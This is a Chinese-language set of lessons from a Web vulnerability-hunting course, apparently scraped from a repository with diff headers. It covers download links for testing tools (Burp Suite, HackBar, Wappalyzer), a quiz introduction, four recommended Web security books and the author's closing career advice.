cURL的插件安装地址-
https://curl.haxx.se/
cURL 下载地址:-
https://curl.haxx.se/download.html
Burp Suite 插件安装地址:-
https://portswigger.net/burp
Burp Suite 下载地址:-
https://portswigger.net/burp/communitydownload
Postman 插件安装地址:-
https://www.postman.com/
Postman 下载地址:-
https://www.postman.com/downloads/
这样在《Web漏洞挖掘实战》这门课之后的学习中你就可以用这些工具来进行实战测试了。
第三节
10 | Web渗透插件入门Wappalyzer、HackBar
在这节视频课程中我们会对Web渗透插件进行学习主要包括Wappalyzer和HackBar。掌握了这两个插件可以对我们的漏洞挖掘过程提供极大的帮助。
这一讲视频中用到的插件安装地址,我也一起提供给你。
HackBar 插件安装地址:-
https://addons.mozilla.org/en-US/firefox/addon/hackbar-quantum/
Wappalyzer 插件安装地址:-
https://www.wappalyzer.com/
以上就是我要送给你的3讲视频内容。我再概括下这三节课程的内容你可以进行针对性地学习
第一节课从HTTP协议的角度帮助你理解基本的Web应用系统通信原理
第二节课从HTTP协议操纵工具入手帮助你在Web领域行走自如
第三节课则从自动化插件的领域帮助你快速识别目标Web应用架构。
其实抽选这三讲内容我的主要考量是在《Web漏洞挖掘实战》这门课中我一直致力于讲解Web领域的漏洞挖掘和利用思维以及从防御的视角去看开发所以其中涉及的渗透实践类的讲解并不多。
但在我看来无论是尝试去做Web领域的漏洞挖掘还是尝试手工复现及利用我们所讲解的漏洞掌握Web领域的渗透测试工具都是必不可少的。凭借这些优秀的工具可以大幅提高我们学习和实践的效率也可以加深我们对专栏内容的理解。
今天的福利就到这里相信这3讲视频内容可以帮助你拥有快速在Web安全领域上手的能力。

View File

@ -0,0 +1,19 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
春节策划(三) 一套测试题,看看对课程内容的掌握情况
你好,我是王昊天。
今天是周五,也是大年初四,下周我们就要回到工作岗位了,也要继续这门课正文内容的学习了。
在继续学习之前我还是为你准备一讲特别的春节策划内容。这一讲是一套其中测试题是我从这门课已经更新的18讲正文中筛选的重要知识点。
你可以通过这套测试题,来检验下自己对已学内容的掌握情况,方便你查漏补缺、温故知新。当然,如果你做完这套题,对题目解析、对以前讲过的知识还有啥疑惑,欢迎你继续留言给我,我会一一为你解答。

View File

@ -0,0 +1,67 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
春节策划(二) 给你推荐4本Web安全图书
你好,我是王昊天。
新年伊始,相信你对自己的工作和生活有了新的期许。不知道在这个假期里,在陪伴家人之余,你准备用什么方式充实自己呢?
其实,在现在互联网知识爆炸的时代,学习资料是非常丰富的,从音频到视频,都极大地丰富了我们的学习手段,但读书依然是我给自己充电的重要方式。
虽然阅读书籍的场景在逐渐减少,但我还是会推荐你要拿出时间去读书。为什么呢?
因为其实读书有一些特殊优势的。一方面读书可以让我们获得内心的平静这种inner-peace是非常难得的。另一方面来自书籍的知识会更加系统。虽然书籍上知识的即时性不足但是书籍之所以能够成为书籍就是因为其中的知识是更加底层的基础理论是有深远价值的。所以读书能够帮助我们更加系统和深入地了解完整的知识体系。
所以为了帮助你更好地学习漏洞挖掘我精心挑选了4本网络安全书籍分享给你希望你可以从中找到自己感兴趣的书进行阅读。虽然这些书里有些例子在今天看来有些陈旧了但是其中基础的原理和底层的方法依然是常看常新可以经常为我处理新的漏洞带来灵感和启迪也希望能对你有所帮助。
渗透测试书籍《Ethical Hacking and Penetration Testing Guide》
漏洞挖掘属于渗透测试的一部分。要想学好漏洞挖掘,我们首先要掌握渗透测试的基础知识。
与Web领域的渗透测试和漏洞挖掘相比完整的渗透测试项目流程会更加复杂涉及到目标发现、资产测绘、服务识别、漏洞分析、漏洞利用、远控免杀、横向移动等多方面知识。了解完整的渗透测试流程有助于我们建立网络安全领域的全局观。
这本渗透测试书,非常方便理解,即使你是初学者也可以看懂。书中按照渗透测试的过程,通俗易懂地讲解了每个阶段需要用到的工具,以及不同阶段之间的联系,可以帮我们在漏洞挖掘领域打下坚实的基础。
所以,如果你是对渗透测试、网络攻防感兴趣的初级同学,这本优秀的入门级读物非常适合你。
Web应用攻防书籍《黑客攻防技术宝典Web实战篇》和《白帽子讲Web安全》
《黑客攻防技术宝典》这本书结合了Web安全领域专家的经验系统地阐述了如何针对Web应用发起攻击与反攻击同时深入剖析了攻击时所需要的步骤、技巧和工具。
这本书主要关注在Web安全实战领域除了理论知识外还包含了大量实战层面的攻击技巧和应对措施。此外书中还有几百个漏洞实战可以帮助你巩固所学内容。
所以这本书非常适合掌握了一定Web渗透知识但缺乏大量实战经验的同学是优秀的入门级提高读物。
《白帽子讲Web安全》这本书会为你一一剖析各种Web漏洞的原理及攻防之道。它不仅仅有原理分析还有实践指导是值得每一位Web安全从业者阅读的书。
这本书中详细列举了各种存在的攻防技术及其技术的前世今生。其核心亮点是深入浅出地讲解了Web安全领域的知识并从技术底层和安全架构顶层的视角带你深入构建完整的Web安全理念。这样一来就可以帮助你全面学习Web安全了。
所以这本书非常适合掌握了一定Web安全知识同时想要理解底层逻辑以进一步提高Web安全认知的同学。这是一本优秀的提高级读物。
Web应用安全书籍《Web之困现代Web应用安全指南》
介绍完攻击角度的三本书之后我再推荐一本安全防护角度的书籍《Web之困现代Web应用安全指南》。在Web安全领域这本书被称为圣经。
有业内人士这样评价这本书从HTTP协议层逐级拆解Web安全风险奇技淫巧、脑洞大开其中外部资源调用403的钓鱼、打开新窗口重定向父页面的钓鱼、复杂协议的安全边界在出版后的4年里依然风靡实在佩服
它会带着你深入剖析现代Web浏览器的技术原理、安全机制和设计上的安全缺陷为你提供基于浏览器的安全隐患例如浏览器缓存、浏览器内存的密码、浏览器历史记录等的保护措施。
好了上面这4本书就是我为你精选的Web安全的阅读书单了。
每一个项目都有终点,但在自我精进的道路上,我们仍需步履不停。今天我推荐的这些书目,你可以利用假期时间潜心阅读,掌握它们的核心内容,理解其中的思维方法。希望在新的一年里,这些知识成果不仅能帮助带你实现技术上的飞跃,更能拓展你的知识边界,带你实现自我成长。
好了,今天的分享就到这里,如果你有其它好书推荐,也欢迎在评论区留言,我们下节课再见。

View File

@ -0,0 +1,43 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
结束语 无畏前行
你好,我是王昊天。
今天这节课是我们专栏的最后一讲。首先祝贺你完成此次课程的学习并收获到很多Web安全的知识。那么最后我想再和你分享一些我的人生感悟希望能给你带来帮助。
我从事安全行业已经有十年了,回顾刚开始工作的时候,我经常会被各种问题难倒,那时的我会觉得困惑、迷茫,感觉自己非常的菜,甚至觉得自己根本不适合这个行业,这导致我每天都很痛苦。这也算是我的困难时期吧,在这期间我经常问自己,这辈子想要干什么?我是想要安逸还是追求,想要混还是干出一番成就呢?
很感谢自己当时毫不犹豫地选择了后者。因为我真的相信网络安全行业的潜力和未来,也真心对此感兴趣。于是,我遇到问题就开始向经验丰富的同事咨询,学习他们解决问题的方法,在这之后的三个月,我有了自己解决问题的能力,这是一个很奇妙且有趣的过程。另外,我还会通过网络认识一些与我有着同样困惑的伙伴,通过交流去尝试用各种各样的方案去解决问题,从而沉淀自己的方法论,当然这个过程中也少不了自己的探索,但其中的成就感却是拉满的。
就拿我准备这个专栏来说吧,大家都知道我更加擅长视频类课程,所以刚开始的时候我不太会写专栏,每写一句话都会有点迷茫,因为我不知道要讲到什么样的详细程度,还要考虑知识点的深度及广度问题。后来也是反复打磨,不断修改总结,虽然还是有很多让我感到疲惫的时刻,可是我每次都坚持过来了,哪怕熬到深夜,也是一个问题一个问题去解决。而在这一过程中呢,我的能力也在提升,所谓熟能生巧嘛,和解决技术难题也是相似的,你看我现在和你分享这些是不是感觉我的表达轻松多了。所以说,很多困难都是暂时的,只要我们勇敢去面对,就一定可以找到方法。
这之后,就到了我工作中的第二个阶段——积累学习阶段。此时的我对自己的技术有了一些自我肯定,但是也深知自己的学识不够深,所以我时刻提醒自己不要飘飘然,要保持谦虚的学习态度。更重要的是,你不要害怕自己的薄弱点,我们要做的是直面它们进行补充学习,有缺点能意识到我觉得是一件好事。不过在这个阶段,你要格外注意,避免递归学习。我当时是看到不会的知识就想去学习,但那时我不会的内容确实也比较多,每一个知识都系统学习的话,显然不太现实,所以我更建议你先去辨别出哪些才是真的关键的知识,先去学习这些,然后对于那些没那么重要的内容优先级可以降低一些,先有一个大致的了解即可。
就这样,我积累了三年左右,进入到了我现在长期处于的一个阶段中。在这个阶段,我对于很多工作上的内容都了然于心,也因此我对自己的要求有所松懈,导致了我在很长一段时间里停滞不前。后来,我发现有的新技术自己已经没有听说过了,这给我敲响了警钟,此后我又开始每天不断地学习新知识,紧跟技术前线,花了很多的功夫去弥补之前的懈怠,也在此提醒你不要犯和我一样的错误。
以上这些是我工作期间和技术相关的经历与感悟。但是人生远不止技术,在技术之外,我们还需要很多方面的认知,比如我们需要思考什么是人生?
宇宙是广阔无垠的,作为一个人,我们是非常渺小的。我们需要思考的是在几十年的人生中要做好什么事情,这是非常重要的一个问题,通常在搞清楚这个问题后,我们才会有一股信念,支撑我们去完成自己的期望和梦想。我个人是这样自我要求的,或许我们可以交流一下。
第一,我们需要具有与别人沟通的能力。这个能力是非常讲究艺术的,一句恰当的话语往往可以解决很多的麻烦,而不合适的话语则会导致很多问题变得复杂。除此之外,讲话的时机也非常重要。因此我建议你要有意识地去培养自己讲话的艺术,这会给你带来很多的助力。
第二,我们需要有分辨后果的能力。在做任何事之前都要想一想后果是不是自己可以承担的,如果无法承担,那就不要去做,如果能,也要在谨慎思考过后再进行尝试,这可以避免掉很多的麻烦。
第三,我认为年轻人在有原则的前提下,不要害怕失败。成功与失败有时不是我们能决定的事情,但我们可以决定以一个什么样的态度去做事,你是否将该做的事做好且尽心尽力、努力前进了呢?如果是的话,不成功就不等同于失败了,或许你的态度已经为你创造了更多的机遇。
第四,一定要爱惜自己的身体。老话常说,身体是革命的本钱,一点错没有。不要仗着年轻去消耗自己,哪怕加班文化在技术圈已经很普遍,你也要努力去保护好自己。前几天我去了趟医院去看我的腰,就医的过程中让我更加肯定了这一点,没有一个好的身体其他一切都是空谈。
第五,也是最重要的一点,我们要克服焦虑心理。现在的人压力都不小,很多人会出心理问题。在我刚毕业出来的时候也是非常焦虑的,这是我们上进的表现,可是它会对我们产生一定的副作用,导致我们难以干好眼前的事情,而去为将来焦虑。不如活在当下,一步一步坚实地迈向迈向未来吧。
最后感谢一路同行。在这个专栏中,我们一起学习了三十六节课程,能走到这里的同学我相信你一定非常优秀,也很能坚持,希望我的课程能为你带来助力,也期待你可以继续保持现在的状态,秉持着持续学习的态度,专注于自己的目标,而后无畏前行!
最后的最后,文末有一份结课问卷,希望你可以花两分钟的时间填写一下。我会认真倾听你对这个专栏的意见或建议,期待你的反馈!